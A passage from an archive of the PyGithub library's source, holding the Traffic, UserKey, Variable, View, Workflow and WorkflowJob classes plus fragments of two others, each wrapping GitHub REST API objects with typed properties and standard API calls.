aliases(self) -> list[dict[str, Any]]: return self._aliases.value @property def created_at(self) -> datetime: return self._created_at.value @property def created_by(self) -> str: return self._created_by.value @property def curated(self) -> bool: return self._curated.value @property def description(self) -> str: return self._description.value @property def display_name(self) -> str: return self._display_name.value @property def featured(self) -> bool: return self._featured.value @property def logo_url(self) -> str: return self._logo_url.value @property def name(self) -> str: return self._name.value @property def related(self) -> list[dict[str, Any]]: return self._related.value @property def released(self) -> str: return self._released.value @property def repository_count(self) -> int: return self._repository_count.value @property def score(self) -> float: return self._score.value @property def short_description(self) -> str: return self._short_description.value @property def text_matches(self) -> dict[str, Any]: return self._text_matches.value @property def updated_at(self) -> datetime: return self._updated_at.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "aliases" in attributes: # pragma no branch self._aliases = self._makeListOfDictsAttribute(attributes["aliases"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "created_by" in attributes: # pragma no branch self._created_by = self._makeStringAttribute(attributes["created_by"]) if "curated" in attributes: # pragma no branch self._curated = self._makeBoolAttribute(attributes["curated"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "display_name" in attributes: # pragma no branch self._display_name = self._makeStringAttribute(attributes["display_name"]) if "featured" in attributes: # pragma no branch self._featured = self._makeBoolAttribute(attributes["featured"]) if "logo_url" in attributes: # pragma no branch self._logo_url = self._makeStringAttribute(attributes["logo_url"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "related" in attributes: # pragma no branch self._related = self._makeListOfDictsAttribute(attributes["related"]) if "released" in attributes: # pragma no branch self._released = self._makeStringAttribute(attributes["released"]) if "repository_count" in attributes: # pragma no branch self._repository_count = self._makeIntAttribute(attributes["repository_count"]) if "score" in attributes: # pragma no branch self._score = self._makeFloatAttribute(attributes["score"]) if "short_description" in attributes: # pragma no branch self._short_description = self._makeStringAttribute(attributes["short_description"]) if "text_matches" in attributes: # pragma no branch self._text_matches = self._makeDictAttribute(attributes["text_matches"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Traffic.py0000644000175100001660000001124014756101563016176 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Justin Kufro # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class Traffic(NonCompletableGithubObject): """ This class represents traffic information at a specific point in time. The reference can be found here https://docs.github.com/en/rest/metrics/traffic The OpenAPI schema can be found at - /components/schemas/traffic """ def _initAttributes(self) -> None: self._count: Attribute[int] = NotSet self._timestamp: Attribute[datetime] = NotSet self._uniques: Attribute[int] = NotSet def __repr__(self) -> str: return self.get__repr__( { "timestamp": self._timestamp.value, "count": self._count.value, "uniques": self._uniques.value, } ) @property def count(self) -> int: return self._count.value @property def timestamp(self) -> datetime: return self._timestamp.value @property def uniques(self) -> int: return self._uniques.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "count" in attributes: # pragma no branch self._count = self._makeIntAttribute(attributes["count"]) if "timestamp" in attributes: # pragma no branch self._timestamp = self._makeDatetimeAttribute(attributes["timestamp"]) if "uniques" in attributes: # pragma no branch self._uniques = self._makeIntAttribute(attributes["uniques"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/UserKey.py0000644000175100001660000001420014756101563016206 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any from github.GithubObject import Attribute, CompletableGithubObject, NotSet class UserKey(CompletableGithubObject): """ This class represents UserKeys. The reference can be found here https://docs.github.com/en/rest/reference/users#keys The OpenAPI schema can be found at - /components/schemas/key """ def _initAttributes(self) -> None: self._created_at: Attribute[datetime] = NotSet self._id: Attribute[int] = NotSet self._key: Attribute[str] = NotSet self._read_only: Attribute[bool] = NotSet self._title: Attribute[str] = NotSet self._url: Attribute[str] = NotSet self._verified: Attribute[bool] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "title": self._title.value}) @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def key(self) -> str: self._completeIfNotSet(self._key) return self._key.value @property def read_only(self) -> bool: self._completeIfNotSet(self._read_only) return self._read_only.value @property def title(self) -> str: self._completeIfNotSet(self._title) return self._title.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def verified(self) -> bool: self._completeIfNotSet(self._verified) return self._verified.value def delete(self) -> None: """ :calls: `DELETE /user/keys/{id} `_ :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "key" in attributes: # pragma no branch self._key = self._makeStringAttribute(attributes["key"]) if "read_only" in attributes: # pragma no branch self._read_only = self._makeBoolAttribute(attributes["read_only"]) if "title" in attributes: # pragma no branch self._title = self._makeStringAttribute(attributes["title"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "verified" in attributes: # pragma no branch self._verified = self._makeBoolAttribute(attributes["verified"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Variable.py0000644000175100001660000001310314756101563016345 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # # Copyright 2023 Enrico Minack # # Copyright 2023 Mauricio Alejandro Martínez Pacheco # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any from github.GithubObject import Attribute, CompletableGithubObject, NotSet class Variable(CompletableGithubObject): """ This class represents a GitHub variable. The reference can be found here https://docs.github.com/en/rest/actions/variables """ def _initAttributes(self) -> None: self._created_at: Attribute[datetime] = NotSet self._name: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._value: Attribute[str] = NotSet self._variables_url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self.name}) @property def created_at(self) -> datetime: """ :type: datetime.datetime """ self._completeIfNotSet(self._created_at) return self._created_at.value @property def name(self) -> str: """ :type: string """ self._completeIfNotSet(self._name) return self._name.value @property def updated_at(self) -> datetime: """ :type: datetime.datetime """ self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: """ :type: string """ # Construct url from variables_url and name, if self._url. is not set if self._url is NotSet: self._url = self._makeStringAttribute(self.variables_url + "/" + self.name) return self._url.value @property def value(self) -> str: """ :type: string """ self._completeIfNotSet(self._value) return self._value.value @property def variables_url(self) -> str: """ :type: string """ return self._variables_url.value def edit(self, value: str) -> bool: """ :calls: `PATCH /repos/{owner}/{repo}/actions/variables/{variable_name} `_ :param variable_name: string :param value: string :rtype: bool """ assert isinstance(value, str), value patch_parameters = { "name": self.name, "value": value, } status, _, _ = self._requester.requestJson( "PATCH", self.url, input=patch_parameters, ) return status == 204 def delete(self) -> None: """ :calls: `DELETE {variable_url} `_ :rtype: None """ self._requester.requestJsonAndCheck("DELETE", self.url) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "created_at" in attributes: self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "name" in attributes: self._name = self._makeStringAttribute(attributes["name"]) if "updated_at" in attributes: self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: self._url = self._makeStringAttribute(attributes["url"]) if "value" in attributes: self._value = self._makeStringAttribute(attributes["value"]) if "variables_url" in attributes: self._variables_url = self._makeStringAttribute(attributes["variables_url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/View.py0000644000175100001660000001135514756101563015541 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Justin Kufro # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.Traffic from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: from github.Traffic import Traffic class View(NonCompletableGithubObject): """ This class represents the total number of views and breakdown per day or week for a GitHub repository. The reference can be found here https://docs.github.com/en/rest/metrics/traffic#get-page-views The OpenAPI schema can be found at - /components/schemas/view-traffic """ def _initAttributes(self) -> None: self._count: Attribute[int] = NotSet self._uniques: Attribute[int] = NotSet self._views: Attribute[list[Traffic]] = NotSet def __repr__(self) -> str: return self.get__repr__( { "count": self._count.value, "uniques": self._uniques.value, } ) @property def count(self) -> int: return self._count.value @property def uniques(self) -> int: return self._uniques.value @property def views(self) -> list[Traffic]: return self._views.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "count" in attributes: # pragma no branch self._count = self._makeIntAttribute(attributes["count"]) if "uniques" in attributes: # pragma no branch self._uniques = self._makeIntAttribute(attributes["uniques"]) if "views" in attributes: # pragma no branch self._views = self._makeListOfClassesAttribute(github.Traffic.Traffic, attributes["views"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Workflow.py0000644000175100001660000002747014756101563016446 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Jannis Gebauer # # Copyright 2017 Simon # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Mahesh Raju # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Thomas Burghout # # Copyright 2023 Trim21 # # Copyright 2023 sd-kialo <138505487+sd-kialo@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # Copyright 2025 Nick McClorey <32378821+nickrmcclorey@users.noreply.github.com># # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.Branch import github.Commit import github.GithubObject import github.NamedUser import github.Tag import github.WorkflowRun from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt from github.PaginatedList import PaginatedList class Workflow(CompletableGithubObject): """ This class represents Workflows. The reference can be found here https://docs.github.com/en/rest/reference/actions#workflows The OpenAPI schema can be found at - /components/schemas/workflow """ def _initAttributes(self) -> None: self._badge_url: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._deleted_at: Attribute[datetime] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._path: Attribute[str] = NotSet self._state: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self._name.value, "url": self._url.value}) @property def badge_url(self) -> str: self._completeIfNotSet(self._badge_url) return self._badge_url.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def deleted_at(self) -> datetime: self._completeIfNotSet(self._deleted_at) return self._deleted_at.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def path(self) -> str: self._completeIfNotSet(self._path) return self._path.value @property def state(self) -> str: self._completeIfNotSet(self._state) return self._state.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def create_dispatch( self, ref: github.Branch.Branch | github.Tag.Tag | github.Commit.Commit | str, inputs: Opt[dict] = NotSet ) -> bool: """ :calls: `POST /repos/{owner}/{repo}/actions/workflows/{workflow_id}/dispatches `_ """ assert ( isinstance(ref, github.Branch.Branch) or isinstance(ref, github.Tag.Tag) or isinstance(ref, github.Commit.Commit) or isinstance(ref, str) ), ref assert inputs is NotSet or isinstance(inputs, dict), inputs if isinstance(ref, github.Branch.Branch): ref = ref.name elif isinstance(ref, github.Commit.Commit): ref = ref.sha elif isinstance(ref, github.Tag.Tag): ref = ref.name if inputs is NotSet: inputs = {} status, _, _ = self._requester.requestJson( "POST", f"{self.url}/dispatches", input={"ref": ref, "inputs": inputs} ) return status == 204 def get_runs( self, actor: Opt[github.NamedUser.NamedUser | str] = NotSet, branch: Opt[github.Branch.Branch | str] = NotSet, event: Opt[str] = NotSet, status: Opt[str] = NotSet, created: Opt[str] = NotSet, exclude_pull_requests: Opt[bool] = NotSet, check_suite_id: Opt[int] = NotSet, head_sha: Opt[str] = NotSet, ) -> PaginatedList[github.WorkflowRun.WorkflowRun]: """ :calls: `GET /repos/{owner}/{repo}/actions/workflows/{workflow_id}/runs `_ """ assert actor is NotSet or isinstance(actor, github.NamedUser.NamedUser) or isinstance(actor, str), actor assert branch is NotSet or isinstance(branch, github.Branch.Branch) or isinstance(branch, str), branch assert event is NotSet or isinstance(event, str), event assert status is NotSet or isinstance(status, str), status assert created is NotSet or isinstance(created, str), created assert exclude_pull_requests is NotSet or isinstance(exclude_pull_requests, bool), exclude_pull_requests assert check_suite_id is NotSet or isinstance(check_suite_id, int), check_suite_id assert head_sha is NotSet or isinstance(head_sha, str), head_sha url_parameters: dict[str, Any] = dict() if actor is not NotSet: url_parameters["actor"] = actor._identity if isinstance(actor, github.NamedUser.NamedUser) else actor if branch is not NotSet: url_parameters["branch"] = branch.name if isinstance(branch, github.Branch.Branch) else branch if event is not NotSet: url_parameters["event"] = event if status is not NotSet: url_parameters["status"] = status if created is not NotSet: url_parameters["created"] = created if exclude_pull_requests is not NotSet: url_parameters["exclude_pull_requests"] = exclude_pull_requests if check_suite_id is not NotSet: url_parameters["check_suite_id"] = check_suite_id if head_sha is not NotSet: url_parameters["head_sha"] = head_sha return PaginatedList( github.WorkflowRun.WorkflowRun, self._requester, f"{self.url}/runs", url_parameters, headers=None, list_item="workflow_runs", ) def disable(self) -> bool: """ :calls: `PUT /repos/{owner}/{repo}/actions/workflows/{workflow_id}/disable `_ :rtype: bool """ status, _, _ = self._requester.requestJson("PUT", f"{self.url}/disable") return status == 204 def enable(self) -> bool: """ :calls: `PUT /repos/{owner}/{repo}/actions/workflows/{workflow_id}/enable `_ :rtype: bool """ status, _, _ = self._requester.requestJson("PUT", f"{self.url}/enable") return status == 204 def _useAttributes(self, attributes: dict[str, Any]) -> None: if "badge_url" in attributes: # pragma no branch self._badge_url = self._makeStringAttribute(attributes["badge_url"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "deleted_at" in attributes: # pragma no branch self._deleted_at = self._makeDatetimeAttribute(attributes["deleted_at"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "path" in attributes: # pragma no branch self._path = self._makeStringAttribute(attributes["path"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/WorkflowJob.py0000644000175100001660000002463414756101563017100 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Jeppe Fihl-Pearson # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Xavi Vega # # Copyright 2025 Enrico Minack # # Copyright 2025 Yossi Rozantsev <54272821+Apakottur@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.GithubObject import github.WorkflowStep from github.GithubObject import Attribute, CompletableGithubObject, NotSet class WorkflowJob(CompletableGithubObject): """ This class represents Workflow Jobs. The reference can be found here https://docs.github.com/en/rest/reference/actions#workflow-jobs """ def _initAttributes(self) -> None: self._check_run_url: Attribute[str] = NotSet self._completed_at: Attribute[datetime] = NotSet self._conclusion: Attribute[str | None] = NotSet self._created_at: Attribute[datetime] = NotSet self._head_branch: Attribute[str] = NotSet self._head_sha: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._labels: Attribute[list[str]] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._run_attempt: Attribute[int] = NotSet self._run_id: Attribute[int] = NotSet self._run_url: Attribute[str] = NotSet self._runner_group_id: Attribute[int] = NotSet self._runner_group_name: Attribute[str] = NotSet self._runner_id: Attribute[int] = NotSet self._runner_name: Attribute[str] = NotSet self._started_at: Attribute[datetime] = NotSet self._status: Attribute[str] = NotSet self._steps: Attribute[list[github.WorkflowStep.WorkflowStep]] = NotSet self._url: Attribute[str] = NotSet self._workflow_name: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "url": self._url.value}) @property def check_run_url(self) -> str: self._completeIfNotSet(self._check_run_url) return self._check_run_url.value @property def completed_at(self) -> datetime: self._completeIfNotSet(self._completed_at) return self._completed_at.value @property def conclusion(self) -> str | None: self._completeIfNotSet(self._conclusion) return self._conclusion.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def head_branch(self) -> str: self._completeIfNotSet(self._head_branch) return self._head_branch.value @property def head_sha(self) -> str: self._completeIfNotSet(self._head_sha) return self._head_sha.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def labels(self) -> list[str]: self._completeIfNotSet(self._labels) return self._labels.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def run_attempt(self) -> int: self._completeIfNotSet(self._run_attempt) return self._run_attempt.value @property def run_id(self) -> int: self._completeIfNotSet(self._run_id) return self._run_id.value @property def run_url(self) -> str: self._completeIfNotSet(self._run_url) return self._run_url.value @property def runner_group_id(self) -> int: self._completeIfNotSet(self._runner_group_id) return self._runner_group_id.value @property def runner_group_name(self) -> str: self._completeIfNotSet(self._runner_group_name) return self._runner_group_name.value @property def runner_id(self) -> int: self._completeIfNotSet(self._runner_id) return self._runner_id.value @property def runner_name(self) -> str: self._completeIfNotSet(self._runner_name) return self._runner_name.value @property def started_at(self) -> datetime: self._completeIfNotSet(self._started_at) return self._started_at.value @property def status(self) -> str: self._completeIfNotSet(self._status) return self._status.value @property def steps(self) -> list[github.WorkflowStep.WorkflowStep]: self._completeIfNotSet(self._steps) return self._steps.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def workflow_name(self) -> str: self._completeIfNotSet(self._workflow_name) return self._workflow_name.value def logs_url(self) -> str: headers, _ = self._requester.requestBlobAndCheck("GET", f"{self.url}/logs") return headers["location"] def _useAttributes(self, attributes: dict[str, Any]) -> None: if "check_run_url" in attributes: # pragma no branch self._check_run_url = self._makeStringAttribute(attributes["check_run_url"]) if "completed_at" in attributes: # pragma no branch self._completed_at = self._makeDatetimeAttribute(attributes["completed_at"]) if "conclusion" in attributes: # pragma no branch self._conclusion = self._makeStringAttribute(attributes["conclusion"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "head_branch" in attributes: # pragma no branch self._head_branch = self._makeStringAttribute(attributes["head_branch"]) if "head_sha" in attributes: # pragma no branch self._head_sha = self._makeStringAttribute(attributes["head_sha"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "labels" in attributes: # pragma no branch self._labels = self._makeListOfStringsAttribute(attributes["labels"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "run_attempt" in attributes: # pragma no branch self._run_attempt = self._makeIntAttribute(attributes["run_attempt"]) if "run_id" in attributes: # pragma no branch self._run_id = self._makeIntAttribute(attributes["run_id"]) if "run_url" in attributes: # pragma no branch self._run_url = self._makeStringAttribute(attributes["run_url"]) if "runner_group_id" in attributes: # pragma no branch self._runner_group_id = self._makeIntAttribute(attributes["runner_group_id"]) if "runner_group_name" in attributes: # pragma no branch self._runner_group_name = self._makeStringAttribute(attributes["runner_group_name"]) if "runner_id" in attributes: # pragma no branch self._runner_id = self._makeIntAttribute(attributes["runner_id"]) if "runner_name" in attributes: # pragma no branch self._runner_name = self._makeStringAttribute(attributes["runner_name"]) if "started_at" in attributes: # pragma no branch self._started_at = self._makeDatetimeAttribute(attributes["started_at"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) if "steps" in attributes: # pragma no branch self._steps = self._makeListOfClassesAttribute(github.WorkflowStep.WorkflowStep, attributes["steps"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "workflow_name" in attributes: # pragma no branch self._workflow_name = self._makeStringAttribute(attributes["workflow_name"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/WorkflowRun.py0000644000175100001660000004614414756101563017132 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2020 Steve Kowalik # # Copyright 2020 Yannick Jadoul # # Copyright 2021 Steve Kowalik # # Copyright 2022 Aleksei Fedotov # # Copyright 2022 Gabriele Oliaro # # Copyright 2023 Enrico Minack # # Copyright 2023 Jeppe Fihl-Pearson # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Sasha Chung <50770626+nuang-ee@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Chris Gavin # # Copyright 2024 Enrico Minack # # Copyright 2024 Geoffrey # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any, NamedTuple import github.GitCommit import github.NamedUser import github.PullRequest import github.Repository import github.WorkflowJob from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, is_optional from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.Artifact import Artifact from github.GitCommit import GitCommit from github.NamedUser import NamedUser from github.PullRequest import PullRequest from github.Repository import Repository from github.WorkflowJob import WorkflowJob class TimingData(NamedTuple): billable: dict[str, dict[str, int]] run_duration_ms: int class WorkflowRun(CompletableGithubObject): """ This class represents Workflow Runs. The reference can be found here https://docs.github.com/en/rest/reference/actions#workflow-runs The OpenAPI schema can be found at - /components/schemas/artifact/properties/workflow_run - /components/schemas/workflow-run """ def _initAttributes(self) -> None: self._actor: Attribute[NamedUser] = NotSet self._artifacts_url: Attribute[str] = NotSet self._cancel_url: Attribute[str] = NotSet self._check_suite_id: Attribute[int] = NotSet 